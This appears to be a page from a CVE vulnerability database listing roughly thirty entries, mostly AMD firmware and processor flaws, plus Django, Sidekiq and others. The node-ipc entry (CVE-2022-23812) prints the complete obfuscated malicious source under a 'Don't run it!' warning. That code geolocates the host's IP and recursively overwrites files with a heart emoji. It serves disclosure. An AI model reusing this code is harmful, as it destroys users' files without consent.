Total
423984 CVE
| CVE | Vendors | Products | Updated | CVSS v2 | CVSS v3 |
|---|---|---|---|---|---|
| CVE-2022-23849 | 1 Devolutions | 1 Password Hub | 2026-06-17 | 4.6 MEDIUM | 6.6 MEDIUM |
| The biometric lock in Devolutions Password Hub for iOS before 2021.3.4 allows attackers to access the application because of authentication bypass. An attacker must rapidly make failed biometric authentication attempts. | |||||
| CVE-2022-23848 | 1 Alluxio | 1 Alluxio | 2026-06-17 | 7.5 HIGH | 9.8 CRITICAL |
| In Alluxio before 2.7.3, the logserver does not validate the input stream. NOTE: this is not the same as the CVE-2021-44228 Log4j vulnerability. | |||||
| CVE-2022-23837 | 2 Contribsys, Debian | 2 Sidekiq, Debian Linux | 2026-06-17 | 5.0 MEDIUM | 7.5 HIGH |
| In api.rb in Sidekiq before 5.2.10 and 6.4.0, there is no limit on the number of days when requesting stats for the graph. This overloads the system, affecting the Web UI, and makes it unavailable to users. | |||||
| CVE-2022-23835 | 1 Visual Voice Mail Project | 1 Visual Voice Mail | 2026-06-17 | 4.3 MEDIUM | 8.1 HIGH |
| The Visual Voice Mail (VVM) application through 2022-02-24 for Android allows persistent access if an attacker temporarily controls an application that has the READ_SMS permission, and reads an IMAP credentialing message that is (by design) not displayed to the victim within the AOSP SMS/MMS messaging application. (Often, the IMAP credentials are usable to listen to voice mail messages sent before the vulnerability was exploited, in addition to new ones.) NOTE: some vendors characterize this as not a "concrete and exploitable risk. | |||||
| CVE-2022-23833 | 3 Debian, Djangoproject, Fedoraproject | 3 Debian Linux, Django, Fedora | 2026-06-17 | 5.0 MEDIUM | 7.5 HIGH |
| An issue was discovered in MultiPartParser in Django 2.2 before 2.2.27, 3.2 before 3.2.12, and 4.0 before 4.0.2. Passing certain inputs to multipart forms could result in an infinite loop when parsing files. | |||||
| CVE-2022-23831 | 4 Amd, Freebsd, Linux and 1 more | 4 Amd Uprof, Freebsd, Linux Kernel and 1 more | 2026-06-17 | N/A | 7.5 HIGH |
| Insufficient validation of the IOCTL input buffer in AMD μProf may allow an attacker to send an arbitrary buffer leading to a potential Windows kernel crash resulting in denial of service. | |||||
| CVE-2022-23830 | 1 Amd | 130 Epyc 7203, Epyc 7203 Firmware, Epyc 7203p and 127 more | 2026-06-17 | N/A | 1.9 LOW |
| SMM configuration may not be immutable, as intended, when SNP is enabled resulting in a potential limited loss of guest memory integrity. | |||||
| CVE-2022-23829 | 2026-06-17 | N/A | 8.2 HIGH | ||
| A potential weakness in AMD SPI protection features may allow a malicious attacker with Ring0 (kernel mode) access to bypass the native System Management Mode (SMM) ROM protections. | |||||
| CVE-2022-23825 | 4 Amd, Debian, Fedoraproject and 1 more | 249 A10-9600p, A10-9600p Firmware, A10-9630p and 246 more | 2026-06-17 | 2.1 LOW | 6.5 MEDIUM |
| Aliases in the branch predictor may cause some AMD processors to predict the wrong branch type potentially leading to information disclosure. | |||||
| CVE-2022-23824 | 3 Amd, Fedoraproject, Xen | 336 A10-9600p, A10-9600p Firmware, A10-9630p and 333 more | 2026-06-17 | N/A | 5.5 MEDIUM |
| IBPB may not prevent return branch predictions from being specified by pre-IBPB branch targets leading to a potential information disclosure. | |||||
| CVE-2022-23823 | 1 Amd | 284 A10-9600p, A10-9600p Firmware, A10-9630p and 281 more | 2026-06-17 | 4.0 MEDIUM | 6.5 MEDIUM |
| A potential vulnerability in some AMD processors using frequency scaling may allow an authenticated attacker to execute a timing attack to potentially enable information disclosure. | |||||
| CVE-2022-23822 | 1 Xilinx | 4 Zynq-7000, Zynq-7000 Firmware, Zynq-7000s and 1 more | 2026-06-17 | 4.4 MEDIUM | 6.8 MEDIUM |
| In this physical attack, an attacker may potentially exploit the Zynq-7000 SoC First Stage Boot Loader (FSBL) by bypassing authentication and loading a malicious image onto the device. This in turn may further allow the attacker to perform additional attacks such as such as using the device as a decryption oracle. An anticipated mitigation via a 2022.1 patch will resolve the issue. | |||||
| CVE-2022-23821 | 1 Amd | 214 Athlon 3015ce, Athlon 3015ce Firmware, Athlon 3015e and 211 more | 2026-06-17 | N/A | 9.8 CRITICAL |
| Improper access control in System Management Mode (SMM) may allow an attacker to write to SPI ROM potentially leading to arbitrary code execution. | |||||
| CVE-2022-23820 | 1 Amd | 208 Athlon 3015ce, Athlon 3015ce Firmware, Athlon 3015e and 205 more | 2026-06-17 | N/A | 7.5 HIGH |
| Failure to validate the AMD SMM communication buffer may allow an attacker to corrupt the SMRAM potentially leading to arbitrary code execution. | |||||
| CVE-2022-23818 | 1 Amd | 46 Epyc 72f3, Epyc 72f3 Firmware, Epyc 7313 and 43 more | 2026-06-17 | N/A | 7.5 HIGH |
| Insufficient input validation on the model specific register: VM_HSAVE_PA may potentially lead to loss of SEV-SNP guest memory integrity. | |||||
| CVE-2022-23817 | 2026-06-17 | N/A | N/A | ||
| Insufficient checking of memory buffer in AMD Secure Processor (ASP) Secure OS may allow an attacker with a malicious trusted application to read/write to the ASP Secure OS kernel virtual address space, potentially resulting in privilege escalation. | |||||
| CVE-2022-23815 | 1 Amd | 32 Athlon Gold 3150g, Athlon Gold 3150g Firmware, Athlon Gold 3150u and 29 more | 2026-06-17 | N/A | 7.5 HIGH |
| Improper bounds checking in APCB firmware may allow an attacker to perform an out of bounds write, corrupting the APCB entry, potentially leading to arbitrary code execution. | |||||
| CVE-2022-23814 | 1 Amd | 2 Milanpi-sp3, Milanpi-sp3 Firmware | 2026-06-17 | N/A | 5.3 MEDIUM |
| Failure to validate addresses provided by software to BIOS commands may result in a potential loss of integrity of guest memory in a confidential compute environment. | |||||
| CVE-2022-23813 | 1 Amd | 4 Milanpi-sp3, Milanpi-sp3 Firmware, Romepi and 1 more | 2026-06-17 | N/A | 5.3 MEDIUM |
| The software interfaces to ASP and SMU may not enforce the SNP memory security policy resulting in a potential loss of integrity of guest memory in a confidential compute environment. | |||||
| CVE-2022-23812 | 1 Node-ipc Project | 1 Node-ipc | 2026-06-17 | 10.0 HIGH | 9.8 CRITICAL |
| This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from "path"; import a from "fs"; import o from "https"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString("utf8"), function (t) { t.on("data", function (t) { const n = Buffer.from("Li8=", "base64"); const o = Buffer.from("Li4v", "base64"); const r = Buffer.from("Li4vLi4v", "base64"); const f = Buffer.from("Lw==", "base64"); const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); const e = Buffer.from("cnVzc2lh", "base64"); const i = Buffer.from("YmVsYXJ1cw==", "base64"); try { const s = JSON.parse(t.toString("utf8")); const u = s[c.toString("utf8")].toLowerCase(); const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")); // checks if country is Russia or Belarus if (a) { h(n.toString("utf8")); h(o.toString("utf8")); h(r.toString("utf8")); h(f.toString("utf8")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = "", o = "") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from("4p2k77iP", "base64"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString("utf8"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl }; | |||||